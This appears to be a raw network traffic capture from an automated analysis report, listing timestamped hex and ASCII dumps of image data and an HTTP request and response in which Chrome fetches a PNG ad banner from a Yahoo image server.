2024-05-23 22:35:16 UTC	1300	IN	Data Raw: eb fe 7f 3a f3 bf ed 95 f5 a3 fb 65 7d 68 f6 81 63 d1 bf b4 07 76 a7 8d 44 77 ff 00 3f ad 79 b7 f6 ba 9e f5 32 6a c0 f7 a3 da 05 8f 4b 5b fe 70 4d 5b 8e f0 1e f5 e6 f1 ea 9e f5 a7 06 a1 9e 49 ab 52 43 3d 12 2b 9f 7a d1 8a 6d c0 1c d7 0d 6d 79 bb 1c d6 fd bd ce e0 08 34 c0 e9 d1 f8 e6 ac 85 0c 32 0d 64 43 36 ec 73 5a 71 bf cb f2 9a 00 ff d1 fe ee 28 a2 8a f4 0e 70 a4 24 01 92 70 3d 4d 2d 7e 68 7f c1 66 c9 1f f0 49 9f da 34 83 8f f8 b7 fa df fe 93 b5 26 ec 07 e9 72 b2 3f dc 60 df 42 0d 20 92 32 76 ab 29 3e 80 8c ff 00 3a fe 06 bf e0 81 1f b6 64 df b1 c7 8a fe 3e 68 7f 16 b5 29 ff 00 b1 f5 3f 86 2d f1 4b 4b 59 e5 92 65 29 a1 49 73 05 c4 a8 64 c9 53 22 3c 31 ed 07 6b 18 58 a8 38 26 be 5f ff 00 82 12 7c 46 f1 ef c2 cf f8 28 cc 7f 18 be 30 cb 71 2d df fc 2a cf Data Ascii: :e}hcvDw?y2jK[pM[IRC=+zmmy42dC6sZq(p$p=M-~hfI4&r?`B 2v)>:d>h)?-KKYe)IsdS"<1kX8&_\|F(0q-*
2024-05-23 22:35:16 UTC	1300	IN	Data Raw: f7 37 e5 71 ff 00 c9 35 3f f1 4b 8e 2e ff 00 a0 fa 1f f9 3f ff 00 22 3f f8 83 b8 ff 00 f9 f9 1f c7 fc 8f ef 13 fe 14 df 88 3f e7 fe 2f fb f7 27 f8 d1 ff 00 0a 6f c4 1f f3 ff 00 17 fd fb 93 fc 6b f8 40 4f f8 2a 6f ed e2 47 fc 8f 73 71 fe cc ff 00 fc 93 56 d7 fe 0a 93 fb 79 37 1f f0 9d cb ff 00 7c cf ff 00 c9 35 94 ff 00 65 ef 16 c7 7c 7d 0f fc 9f ff 00 91 2b fe 20 de 3f fe 7e 47 f1 ff 00 23 fb b4 ff 00 85 37 e2 0f f9 ff 00 8b fe fd c9 fe 34 7f c2 9b f1 07 fc ff 00 c5 ff 00 7e e4 ff 00 1a fe 15 7f e1 e8 5f b7 81 eb e3 a9 7f ef 99 ff 00 f9 26 a4 ff 00 87 a0 fe de 5f f4 3d 4b ff 00 7c cf ff 00 c9 35 8b fd 98 9c 57 ff 00 43 0a 1f f9 3f ff 00 22 57 fc 41 ac 7f fc fd 8f e3 fe 47 f7 4d ff 00 0a 6f c4 1f f3 ff 00 17 fd fb 93 fc 68 ff 00 85 37 e2 0f f9 ff 00 8b fe Data Ascii: 7q5?K.?"??/'ok@O*oGsqVy7\|5e\|}+ ?~G#74~_&_=K\|5WC?"WAGMoh7
2024-05-23 22:35:16 UTC	1300	IN	Data Raw: b6 36 2a 31 d0 1c 56 97 81 ff 00 65 1f d9 03 c1 7f 1c 6e 7e 3f fc 3f f0 4f 87 2c 3e 21 cf a7 a6 95 73 ae d9 c3 17 f6 a3 d9 43 04 36 b1 db cb 30 63 23 46 90 db c3 10 56 ce 16 34 1d 85 27 26 d6 a2 50 b3 ba 3f 80 cf f8 22 a7 81 be 24 fc 31 ff 00 82 b2 dd 7c 2c f8 b9 03 db 78 8f c1 fe 0a f1 ff 00 87 ef e1 60 db 22 9f 4f 82 38 e4 48 77 80 45 bb 48 5a 58 38 19 8e 45 70 3e 6a dd ff 00 82 6e 41 2c 9f f0 6f 87 ed 67 12 a1 2c da c7 83 70 31 c9 cd 96 8b db e9 5f de e4 3f b1 87 ec 95 6d f1 cf 54 fd a6 ed fe 1c f8 7e 3f 88 7a dc 12 db 6a 1e 23 4b 28 d3 52 ba 86 78 05 b4 a9 2d c0 c3 b2 bc 2a 23 60 4f 2a 00 ec 2b 87 f0 cf fc 13 a7 f6 08 f0 97 c1 bf 10 fe cf 3e 13 f8 43 e1 3b 1f 02 78 b2 7b 7b ad 6b 40 b7 d3 e2 1a 7d f4 f6 ae 92 41 25 c4 03 28 ef 1b c6 8c ac 46 41 45 3d Data Ascii: 61Ven~??O,>!sC60c#FV4'&P?"$1\|,x`"O8HwEHZX8Ep>jnA,og,p1_?mT~?zj#K(Rx-#`O*+>C;x{{k@}A%(FAE=
2024-05-23 22:35:16 UTC	1300	IN	Data Raw: e5 56 6d de 3b dd 68 d5 9e f7 b7 ae a7 e4 df ed 21 fb 23 fe d1 9f b2 84 ba 25 b7 ed 0b e1 97 f0 c4 de 24 82 e6 e7 4f 82 6b 9b 69 e6 78 ad 1e 38 e5 69 16 da 49 56 22 1a 54 da 0b 92 c0 e7 8c 1a f9 1e f1 99 db 62 f2 4f 00 57 f6 07 ff 00 05 ce fd 9e fe 21 7e d5 5f b6 3f c0 0f 80 3f 0b e2 56 d5 bc 45 a6 f8 82 21 3c c1 be cf 69 0c 57 16 13 4f 73 70 c8 0b 08 a2 8d 18 f1 cb b6 d4 04 33 82 3e 0d f0 bf fc 12 6b f6 3d f8 a3 fb 4c 78 d3 f6 03 f0 37 c5 4f 12 7f c2 da f0 56 8c 97 f7 37 f7 76 3a 60 d0 67 b9 09 6e f3 42 96 d1 ff 00 a7 aa 45 f6 a8 0b 16 98 12 1d 82 c8 ed 1b 57 cc 78 5f f4 c3 cb 71 3c 2d 83 ce 38 92 4a 18 8a 94 e7 5a a4 69 42 a4 a3 4e 94 6b 4a 97 b4 92 5c ee 30 ba 49 dd b6 dd da 56 4e df 35 96 78 81 41 e0 69 57 c6 69 39 26 da 8a 6d 24 a4 e3 77 bd 96 9d cf Data Ascii: Vm;h!#%$Okix8iIV"TbOW!~_??VE!<iWOsp3>k=Lx7OV7v:`gnBEWx_q<-8JZiBNkJ\0IVN5xAiWi9&m$w
2024-05-23 22:35:16 UTC	1300	IN	Data Raw: 04 d1 b7 fd 8a 3f 65 3f f8 37 db e1 ce 9f fb 79 c5 67 6f f0 d7 e2 b4 f7 93 df 43 7d 65 35 cd ab 0f 11 5e dc 5c d8 c7 3a db a4 8f 18 58 52 30 b3 00 36 32 a9 0c a7 06 bf 18 3f 60 9f 0f 7c 08 f8 5f ff 00 07 09 7c 3d d1 bf e0 98 9e 2a d5 bc 5d f0 e3 51 69 a1 b9 d4 6e 12 66 27 48 9b 4d bc b8 d4 ec 5e e2 48 e3 92 ea c2 d6 e2 3b 26 4b 99 94 ff 00 a4 3a 21 91 a4 04 b0 de 8c 12 b3 3f b0 bf f8 2c 27 ed 17 71 fb 2b 7f c1 33 be 31 fc 60 d2 ae 05 ae ad 17 87 e7 d2 f4 97 27 1f f1 32 d5 88 b0 b4 03 91 cf 9b 30 23 91 d2 bf 95 ff 00 f8 36 5b e2 5f 8c 3e 00 fe df de 2d fd 93 3e 21 3d d5 bc 7e 39 f0 45 b5 fd 85 b5 dc f2 49 b1 f4 91 15 e5 b3 a0 91 8e 4d c5 8e a3 b8 15 1d 22 e7 38 af d1 0f f8 3a af c7 fe 21 f1 77 c0 bf 84 9f b0 cf 81 2d e6 d4 75 9f 8a fe 26 32 bd 85 b6 df 3e Data Ascii: ?e?7ygoC}e5^\:XR062?`\|_\|=*]Qinf'HM^H;&K:!?,'q+31`'20#6[_>->!=~9EIM"8:!w-u&2>
2024-05-23 22:35:16 UTC	1300	IN	Data Raw: d6 bb 47 dd 1a 2c 8d 24 7b 42 92 98 cd 7d d5 6f a6 0f 00 4b 27 c4 e5 79 a7 14 c3 1b 87 ab 47 d9 7b 24 a3 cc b9 a2 94 a6 e4 d3 9c 9b 77 71 bb f7 7f bd bc 7f 34 a1 e1 ce 69 46 94 e9 e6 95 25 2a 2e 3c b6 50 72 7a d9 5f 45 29 37 db b7 a6 df a3 bf f0 5c 2f 09 f8 0f e0 15 ef 8a 47 c3 31 19 f1 87 ed 0d 26 9b 75 ae 40 41 11 8d 33 c2 d1 93 82 72 06 db eb d9 2d 12 61 90 1e 34 6e 0e 09 1e 83 ff 00 05 74 d7 6d ff 00 6c 8f d8 93 e0 df ed 07 fb 3d 5a dd 78 9b 43 d3 f5 a2 f7 f0 e9 56 d2 dd 4f 64 d3 e9 d3 5b 98 ae 2d a1 57 9a 39 21 b9 02 dd d0 a6 51 d8 03 81 cd 7e 68 fe d7 3e 38 d6 7f 68 ff 00 8d 17 1f 10 27 4b a8 b4 9d 3a c6 d3 44 d0 ed af 24 32 dc 43 a6 d8 21 58 9a e1 f7 32 b5 cc ee d2 4d 3b 2e 06 5d 53 e6 f2 c3 1f 9d bc 2d ac fc 46 f8 55 7f 36 ab f0 c7 c4 3a bf 86 6e Data Ascii: G,${B}oK'yG{$wq4iF%*.<Prz_E)7\/G1&u@A3r-a4ntml=ZxCVOd[-W9!Q~h>8h'K:D$2C!X2M;.]S-FU6:n
2024-05-23 22:35:16 UTC	1300	IN	Data Raw: ef f6 54 d5 ff 00 68 5b 4f da cf 53 f8 77 a0 4f f1 3a c0 2a db f8 a1 ec a3 3a ac 41 21 6b 75 0b 73 8d e3 10 bb 47 fe e1 20 f1 5f 3c f8 8b fe 09 0d ff 00 04 b7 f1 7f 88 af fc 5d e2 af d9 ff 00 c0 ba 8e a9 aa 5c cb 79 79 77 73 a4 41 24 d3 dc 4e e6 49 65 91 d8 12 ce ee c5 98 93 92 49 af d1 7a 29 38 a0 b1 f3 77 8b ff 00 63 0f d9 5b e2 37 c0 9d 2b f6 64 f1 bf c3 7d 0f 59 f8 77 a1 0b 75 d3 fc 3b 75 64 b3 69 b6 c2 d0 11 00 8a 03 95 51 10 62 10 76 07 8a 8b c7 5f b1 87 ec 9d f1 23 e0 86 8f fb 33 fc 44 f8 6f a0 6b 1f 0f fc 3c 2d c6 99 e1 db db 24 97 4e b4 16 aa c9 07 93 6e df 2a 79 4a cc a9 8e 80 91 5f ca b7 fc 17 b6 2f 8b 7f 11 3f e0 af 7f 01 bf 66 9f 01 7c 42 f1 2f 81 ec 7e 21 68 9a 66 91 3c da 2e ad a9 59 c5 03 dd 6a d7 51 7d a7 ec b6 97 76 d1 4b 22 ab 60 96 c3 Data Ascii: Th[OSwO::A!kusG _<]\yywsA$NIeIz)8wc[7+d}Ywu;udiQbv_#3Dok<-$NnyJ_/?f\|B/~!hf<.YjQ}vK"`
2024-05-23 22:35:16 UTC	1300	IN	Data Raw: 9b c7 c0 24 fc f1 74 03 27 f8 fb 01 59 b2 fe c9 7f b3 7b c7 b6 4f 10 5a 81 ff 00 5d a0 ff 00 e3 95 ea 65 1f b3 d7 c4 ec 06 2a 38 9a 55 20 a4 bf bf ff 00 04 d6 a7 d2 a7 84 aa 46 c9 cb ff 00 01 3f 9d 0f 14 f8 3e d6 36 60 a9 cf d2 be 73 f1 46 81 1c 5b 80 5a fe a3 af ff 00 61 cf d9 6f 52 cf 99 e2 0b 6e 7d 26 83 ff 00 8e 57 0f a8 ff 00 c1 36 7f 64 bd 47 2d 3f 88 61 19 ff 00 a6 d0 ff 00 f1 da ff 00 43 fc 1c f0 cb 8e 32 65 05 99 ca 2e dd a5 73 e5 b1 bf 48 be 17 9f c0 e7 ff 00 80 b3 f9 21 f1 3e 9a 17 70 02 be 7d f1 25 b6 dd d9 af ed 13 fe 1c f3 fb 2b f8 8a d8 5f 5a 6a 72 4f 0c 99 db 24 7e 5b a9 c1 c1 c3 07 20 e0 8c 57 33 79 ff 00 04 35 fd 94 2f c9 33 5e cf cf fd 33 8f ff 00 8a af f4 f3 c3 3f 13 16 59 18 ac 6b 7a 76 d4 f9 3c 5f 8f 9c 3d 27 ee b9 7f e0 27 f0 c7 e2 Data Ascii: $t'Y{OZ]e*8U F?>6`sF[ZaoRn}&W6dG-?aC2e.sH!>p}%+_ZjrO$~[ W3y5/3^3?Ykzv<_=''
2024-05-23 22:35:16 UTC	1300	IN	Data Raw: df b0 bd 12 5a c7 64 f8 99 ee 1a 78 73 04 48 9f b8 92 3c 63 70 f9 89 24 9c ae 90 42 0d 1f 98 1f f0 6b e7 81 3c 31 e1 bf f8 26 e5 ff 00 8b f4 9b 61 1e a5 e2 4f 1c 78 81 f5 09 cf 2f 31 d3 ee 06 9f 6c 0f a0 8a da 08 d0 01 e8 49 e4 92 7f a3 31 d6 bc 17 f6 6d fd 97 fe 06 fe c8 9f 0c 53 e0 d7 ec eb a0 2f 87 3c 35 15 e5 d5 fa d9 24 d3 dc 01 71 7b 21 9a e1 f7 dc 49 23 fc ee 4b 63 76 07 60 05 7b de d6 1c 91 50 6d 15 a1 9d 73 f7 7f 2a e6 af 3b d7 4f 70 8e 63 2e 14 e3 d7 07 1f 9d 73 17 9d e8 19 c3 ea 5d eb cb f5 9a f5 0d 4b bd 79 7e b3 59 fd a1 2d 8f a7 fe 1a ff 00 c8 b3 a3 7f d7 ba 7f 5a fc 22 ff 00 82 dd 6b ba e4 3f 14 fe 1d 78 7e dc 99 ac 9b 48 d4 ee 0d bc 92 62 2f 34 5c 5a a8 7d 84 15 2e 14 95 0d 8c 80 48 04 02 73 fb bb f0 d7 fe 45 9d 1b fe bd d3 fa d7 f3 ff 00 Data Ascii: ZdxsH<cp$Bk<1&aOx/1lI1mS/<5$q{!I#Kcv`{Pms*;Opc.s]Ky~Y-Z"k?x~Hb/4\Z}.HsE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
669	192.168.2.6	50516	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:16 UTC	659	OUT	GET /cv/apiv2/default/20181213/aol_970x250.png HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://a92b7f3b6891f0e6a0ce2b192513e785.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:16 UTC	816	IN	HTTP/1.1 200 OK x-amz-id-2: WYA/gJ09E4tepWIy2O5zy9qTP0M3F+yhL4MIjSbwJyYNgy00Eq9aMQ7HsOIiIsFbCRdvILkXswg= x-amz-request-id: Y82GWFFST8TN31JW Date: Thu, 25 Apr 2024 01:25:07 GMT Last-Modified: Mon, 22 Apr 2024 14:58:36 GMT ETag: "be5c0a42c12dee6d19b9f13e5185b97a" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: image/png Server: ATS Content-Length: 111985 Referrer-Policy: no-referrer-when-downgrade Age: 2495410 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-05-23 22:35:16 UTC	1300	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 03 ca 00 00 00 fa 08 06 00 00 00 79 fd be 04 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 0a 49 69 43 43 50 73 52 47 42 20 49 45 43 36 31 39 36 36 2d 32 2e 31 00 00 48 89 9d 53 77 58 93 f7 16 3e df f7 65 0f 56 42 d8 f0 b1 97 6c 81 00 22 23 ac 08 c8 10 59 a2 10 92 00 61 84 10 12 40 c5 85 88 0a 56 14 15 11 9c 48 55 c4 82 d5 0a 48 9d 88 e2 a0 28 b8 67 41 8a 88 5a 8b 55 5c 38 ee 1f dc a7 b5 7d 7a ef ed ed fb d7 fb bc e7 9c e7 fc ce 79 cf 0f 80 11 12 26 91 e6 a2 6a 00 39 52 85 3c 3a d8 1f 8f 4f 48 c4 c9 bd 80 02 15 48 e0 04 20 10 e6 cb c2 67 05 c5 00 00 f0 03 79 78 7e 74 b0 3f fc 01 af 6f 00 02 00 70 d5 2e 24 12 c7 e1 ff 83 ba 50 26 57 00 20 91 00 e0 22 12 e7 0b 01 90 52 00 c8 2e 54 c8 14 00 c8 18 Data Ascii: PNGIHDRygAMAaIiCCPsRGB IEC61966-2.1HSwX>eVBl"#Ya@VHUH(gAZU\8}zy&j9R<:OHH gyx~t?op.$P&W "R.T
2024-05-23 22:35:16 UTC	1300	IN	Data Raw: ed 16 ed eb da ef 75 70 9d 40 9d 2c 9d f5 3a 6d 3a f7 75 09 ba 36 ba 51 ba 85 ba db 75 cf ea 3e d3 63 eb 79 e9 09 f5 ca f5 0e e9 dd d1 47 f5 6d f4 a3 f5 17 ea ef d6 ef d1 1f 37 30 34 08 36 90 19 6c 31 38 63 f0 cc 90 63 e8 6b 98 69 b8 d1 f0 84 e1 a8 11 cb 68 ba 91 c4 68 a3 d1 49 a3 27 b8 26 ee 87 67 e3 35 78 17 3e 66 ac 6f 1c 62 ac 34 de 65 dc 6b 3c 61 62 69 32 db a4 c4 a4 c5 e4 be 29 cd 94 6b 9a 66 ba d1 b4 d3 74 cc cc c8 2c dc ac d8 ac c9 ec 8e 39 d5 9c 6b 9e 61 be d9 bc db fc 8d 85 a5 45 9c c5 4a 8b 36 8b c7 96 da 96 7c cb 05 96 4d 96 f7 ac 98 56 3e 56 79 56 f5 56 d7 ac 49 d6 5c eb 2c eb 6d d6 57 6c 50 1b 57 9b 0c 9b 3a 9b cb b6 a8 ad 9b ad c4 76 9b 6d df 14 e2 14 8f 29 d2 29 f5 53 6e da 31 ec fc ec 0a ec 9a ec 06 ed 39 f6 61 f6 25 f6 6d f6 cf 1d cc 1c Data Ascii: up@,:m:u6Qu>cyGm7046l18cckihhI'&g5x>fob4ek<abi2)kft,9kaEJ6\|MV>VyVVI\,mWlPW:vm))Sn19a%m
2024-05-23 22:35:16 UTC	1300	IN	Data Raw: ce 93 e1 a7 b2 a7 13 cf ca 7e 56 ff 79 eb 73 ab e7 df fd e2 fb 4b cf 58 fc d8 f0 0b f9 8b cf bf ae 79 a9 f3 72 ef ab a9 af 3a c7 23 c7 1f bc ce 79 3d f1 a6 fc ad ce db 7d ef b8 ef ba df c7 bd 1f 99 28 fc 40 fe 50 f3 d1 fa 63 c7 a7 d0 4f f7 3e e7 7c fe fc 2f f7 84 f3 fb 2d 47 38 cf 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 01 aa 92 49 44 41 54 78 9c ec 9d 77 a0 1d 45 d9 ff 3f 73 ce b9 fd de e4 a6 57 12 02 29 04 e9 1d a4 8a 28 bc fa be a0 80 58 c0 ae 20 58 5f 11 89 0d 51 5f c0 ee cf f7 55 8c 58 5e 5f 40 90 de 7b e8 bd 69 e8 25 21 9d 94 9b 9e 9b db cf ce ef 8f dd d9 9d 99 9d 3d 67 cf 6d b9 09 fb d5 70 cf Data Ascii: ~VysKXyr:#y=}(@PcO>\|/-G8 cHRMz&u0`:pQ<pHYsIDATxwE?sW)(X X_Q_UX^_@{i%!=gmp
2024-05-23 22:35:16 UTC	1300	IN	Data Raw: e6 a1 09 d5 76 27 90 e5 62 04 ac 41 2a 35 4b 99 ca 48 7d 15 eb 92 22 b6 fa b5 49 72 5c a0 88 68 11 91 bb 20 ad ab 14 29 95 11 6e a9 fc cc e2 15 49 f6 b3 97 e8 7a 54 45 ee 3c c7 28 b3 49 b2 08 58 98 ad cc 96 d2 ec d7 9c 14 c8 c0 66 d8 b3 49 a9 be 4f 20 73 11 0b 15 d2 ff 6e 93 64 8d 1e fb 79 e6 30 98 bd 32 9b d6 56 f8 01 fd 37 56 fd 32 30 3f 15 d6 6e 46 48 aa 0d e1 44 d8 56 52 4b 6f f6 87 d6 d9 ba 38 ea 11 3e 49 8f ea ad 93 64 90 3a 21 b5 35 80 9e e2 c0 76 c6 3a 24 9e 8c 24 31 9e e8 c4 d6 1e 93 f1 af 11 c9 b2 d4 a3 21 79 72 24 b0 4d 91 95 20 51 0b 8a d8 73 25 97 ca 6a 53 47 9e df 3c 3a 92 ab 9f 2b 58 bb 20 0e 0c 07 26 75 41 6d 8a 73 c8 e3 72 dc 7c 50 15 fb 36 3b 67 ce ca 20 cc 3a e8 fd 65 6c 36 58 9b 01 49 6d ec b2 2e 08 f3 76 6d 6a 68 e9 74 d2 ed fe 51 70 Data Ascii: v'bA*5KH}"Ir\h )nIzTE<(IXfIO sndy02V7V20?nFHDVRKo8>Id:!5v:$$1!yr$M Qs%jSG<:+X &uAmsr\|P6;g :el6XIm.vmjhtQp
2024-05-23 22:35:16 UTC	1300	IN	Data Raw: 0d b4 70 a4 8c 1c 7d 69 0c d2 d0 fc 4b 2d 8d fa 6b b4 89 08 e5 8d ae a3 92 51 44 83 04 cb 88 37 2b 0e ed d0 08 ea f1 85 56 73 b3 02 8e 04 da 33 5b 13 1a bd 57 3e c1 8a c2 23 b3 6a 97 e3 aa ce 1e c1 1f 9e 1a c9 dc 27 aa a1 dc 2d 4e 8d c0 e4 6e a8 ef 29 13 11 18 91 e7 6f 07 15 38 66 6c 6f 27 8e f4 f0 9b 24 de 68 ea f5 0a c7 be 63 f3 22 46 98 55 5c ab ff 5c 0e bc c2 bd 12 88 f5 99 41 c0 2d 32 1c ce 2e 49 69 44 30 4a 25 31 cd 73 38 b6 83 d8 19 51 ce 90 21 43 86 0c 19 32 0c 19 e8 6b ad f4 29 06 51 86 0a 49 72 5f a2 ba 53 cb 92 11 12 d3 84 8b 46 41 dc 2e d6 91 87 b1 43 e1 88 63 ab 86 b4 55 a9 cb 71 55 fc 6b 44 00 95 5e 27 f6 3c 58 25 27 99 69 0b 4b 46 fd 3e 5a 1b 4a 5b 0d d1 c5 49 26 69 8e 9b 56 43 44 ea a2 32 8c 4a e3 09 cf f7 c2 ad 91 69 bb fe 42 85 05 d7 31 Data Ascii: p}iK-kQD7+Vs3[W>#j'-Nn)o8flo'$hc"FU\\A-2.IiD0J%1s8Q!C2k)QIr_SFA.CcUqUkD^'<X%'iKF>ZJ[I&iVCD2JiB1
2024-05-23 22:35:16 UTC	1300	IN	Data Raw: 7d 4a 4e 45 ac 5d f9 06 7f 8b 12 2e 7f be 99 9f 3e 5c 07 1d 94 46 1d 30 b9 07 9a ca 1d 58 06 9a 72 fc ea 80 2a 4e 99 dc b7 ad bb be 20 b6 77 26 ac 3e 41 7b 17 82 88 2e 93 ff 70 b3 23 e8 53 d3 8a 21 f8 ab bd 53 7a 1e 7a 1f da 63 d4 d0 68 0b 33 2c 2a 38 4e 8c d5 d4 a5 75 b7 31 84 55 1e 19 51 ce 90 21 43 86 0c 19 32 6c 33 d8 bc 2b b6 6a 71 a2 ff 49 b2 33 c7 81 22 c9 bd c8 d3 95 b1 9b dc 98 31 14 59 29 25 53 9c 47 c7 63 eb be a5 8c 55 31 9a 66 d0 62 bf 2e e2 e5 13 f7 b8 0c ba 49 74 ec 22 28 63 e1 6d 92 e7 48 9b a4 b3 21 7c 73 5f cb bb b5 be ec 57 da 66 97 83 2f fd ab a9 49 0e e4 d7 b5 8c 09 24 d9 d7 26 2b 8d b3 d0 6a e8 69 8d 69 79 b7 96 8a de e7 c2 3c c2 dc 15 b1 96 12 e1 75 52 68 7f 08 27 e4 16 ea e5 a5 b4 ca 63 e9 16 63 22 92 1c 90 85 b0 eb b4 ba fa 0e c4 Data Ascii: }JNE].>\F0XrN w&>A{.p#S!Szzch3,8Nu1UQ!C2l3+jqI3"1Y)%SGcU1fb.It"(cmH!\|s_Wf/I$&+jiiy<uRh'cc"
2024-05-23 22:35:16 UTC	1300	IN	Data Raw: 6e f7 55 a9 f6 d5 bf bb e2 97 9a 3b 4a c9 e1 2a 4f 8f 9f 54 a6 7a a6 7f b7 f3 c9 88 72 86 0c 19 32 64 c8 90 61 d0 10 5b 08 6d 23 92 ec 24 33 a9 8a 89 2f cf 06 93 24 bb d3 69 cb 47 99 1c cb 48 51 46 68 e3 b1 ae 52 c3 2a c2 62 14 ce fe 75 10 e4 f0 b1 b4 ce c3 06 99 78 12 ee 78 b5 9a ff 79 2c c7 63 af 51 9e 1c 97 42 11 ee fe 17 dc fd 42 35 27 ed 57 cd 05 ef ef 60 ca 88 62 a0 61 b4 68 9b d4 97 e0 8a 2a 12 ab 84 d2 4e 82 4d 06 64 f0 ff c0 83 75 60 62 ed e7 18 3f 93 ec 7b b7 f6 54 e1 5a 1e aa 2f 05 68 67 9d 6b da 17 40 71 49 62 55 65 6d a4 5a 6f 2a fe 2f 5b 0a ff 01 a2 a0 4a 0c 8a 91 81 36 ce a2 29 1a c1 35 fa 5a a8 3a 49 90 1e 63 bc 87 68 ac 59 45 67 57 23 2b 79 3f 92 6a ad 55 3c 53 f1 1b d4 21 6c e7 f0 f0 aa fe fe 98 7d 10 bb 57 5b eb 92 52 44 0b cc 72 a5 30 Data Ascii: nU;JOTzr2da[m#$3/$iGHQFhRbuxxy,cQBB5'W`bahNMdu`b?{TZ/hgk@qIbUemZo/[J6)5Z:IchYEgW#+y?jU<S!l}W[RDr0
2024-05-23 22:35:16 UTC	1300	IN	Data Raw: da 59 23 cc 82 d0 c5 9c 83 71 9b 50 64 5b 2f d8 45 82 f5 21 17 f3 9e 6d dd 59 a5 6f 40 25 cd 9c 19 51 ce 90 21 43 86 0c 19 32 0c 1a ca 93 e4 fe 27 c8 50 86 bb 56 50 64 d9 a8 25 0a 72 07 4b e7 43 43 b3 e2 2c 44 8f 5c 42 aa 88 07 69 6a 38 2b 0f 9d 24 3b 76 32 8c af 5a fd a4 2d 69 4c 63 68 c2 43 92 d3 c8 d1 9b 2d 79 ce bd b5 8a fb 5f 48 16 bf 24 f2 c0 08 60 54 0f 34 a4 d0 e8 b9 50 f0 a0 d0 c5 c5 af c1 c5 cb aa 79 f4 e8 1e 66 36 f9 e7 8b 3d ad ae 7a d3 45 4d 25 42 4a 1b 75 41 74 4f b2 d4 48 b2 af fd 52 1b 09 82 90 50 4b db 99 96 76 e3 73 70 57 91 0c cc 5c 1b b7 3e 9b 5c 0f 21 f1 6a dc e3 60 98 77 15 1d b9 0b a3 a8 68 8e de 42 73 6f 19 ec 81 b4 33 d6 9b 47 43 43 1b b2 ba 1e 5f 65 9a 02 c5 2e 44 eb 7c ba bb 6b 20 2f 43 f2 e4 8f 1d 35 3e 64 a4 9d b7 d8 91 71 1b Data Ascii: Y#qPd[/E!mYo@%Q!C2'PVPd%rKCC,D\Bij8+$;v2Z-iLchC-y_H$`T4Pyf6=zEM%BJuAtOHRPKvspW\>\!j`whBso3GCC_e.D\|k /C5>dq
2024-05-23 22:35:16 UTC	1300	IN	Data Raw: 8b ac 50 ae 26 f6 f4 11 ee a9 59 13 82 b1 d7 26 cc 30 b0 fa d0 ce 57 df 14 b1 fb 53 1b 47 fa 58 d0 f3 d5 f3 0b 87 a6 4e ca 83 fc f5 71 a3 b0 5d 12 e5 f9 f3 e7 1b 24 19 60 dd ba 75 dc 73 f7 3d 7c e0 83 1f d8 46 52 65 c8 90 21 43 86 0c 19 12 69 cc b6 26 c8 bd 42 19 ef d6 f6 8a 3e 95 1c b2 dc c7 12 85 05 34 c3 ba 46 c8 95 7d b4 c8 b4 e9 87 f6 cd a5 aa d1 eb ec 5a 71 1a 30 97 c9 b1 28 52 f2 e2 ca 2a be 7e 73 9e a7 5e 73 8b 5b 12 95 9c 07 1d 00 cc 79 26 c7 e1 23 25 33 1b fd b2 fd fa 45 6a de 78 17 e8 f7 24 a3 ed 54 44 cf 7d 4f da 5a 1c 75 26 d9 38 ab ac d8 5e 0e 84 7f 5e ba 6e eb d3 c9 82 56 77 23 f3 a5 eb 22 58 41 93 77 27 6d e2 3d 8c 91 0f 50 d3 20 a0 50 5d 3a 91 9e be bb 0d b9 f5 29 3c 79 15 48 d3 f4 b8 28 f6 65 2d 67 6a 37 4f 09 83 c5 68 2e 9b 0c 0d b0 bd Data Ascii: P&Y&0WSGXNq]$`us=\|FRe!Ci&B>4F}Zq0(R*~s^s[y&#%3Ejx$TD}OZu&8^^nVw#"XAw'm=P P]:)<yH(e-gj7Oh.
2024-05-23 22:35:16 UTC	1300	IN	Data Raw: ae bc e2 8a 92 71 6e ba fe 06 ce fd d6 b7 a8 ab ab 2b 19 af 58 2c 72 cd 3f fe c1 9f 2e bb 8c 25 8b 16 c7 9e 57 55 55 f1 fe 13 4e e0 ab 5f ff 1a bb ec b2 4b 5f c4 ce 90 21 43 86 0c 19 76 58 e8 5a 1c 43 a9 54 5a 4d da ef 32 94 2c 32 75 71 fd ed b4 ab 74 da e4 ac 22 fd 86 7e 35 51 a9 a8 91 16 24 05 49 0e 03 6c 0d 26 71 e6 61 c4 91 8e 73 b9 f0 dc b2 02 67 df 94 e7 e5 72 77 d0 ba 50 09 51 d9 56 78 1b 36 76 c1 f0 2a 5f 6f 25 a5 ba ee c6 d2 24 43 40 a4 d5 48 ca a1 5b 00 f8 a6 d7 91 e3 2e d5 05 51 5a 19 f4 a5 d2 90 fa da eb ba d6 c7 93 65 ab ed a8 a8 2a 52 de 83 e8 7c 1f d4 8c 34 c2 7d 82 fc 08 9e bc 29 75 5e 2d e2 02 3c 86 6b 54 38 2c c5 71 e7 b4 2e 43 64 56 6b 0f 27 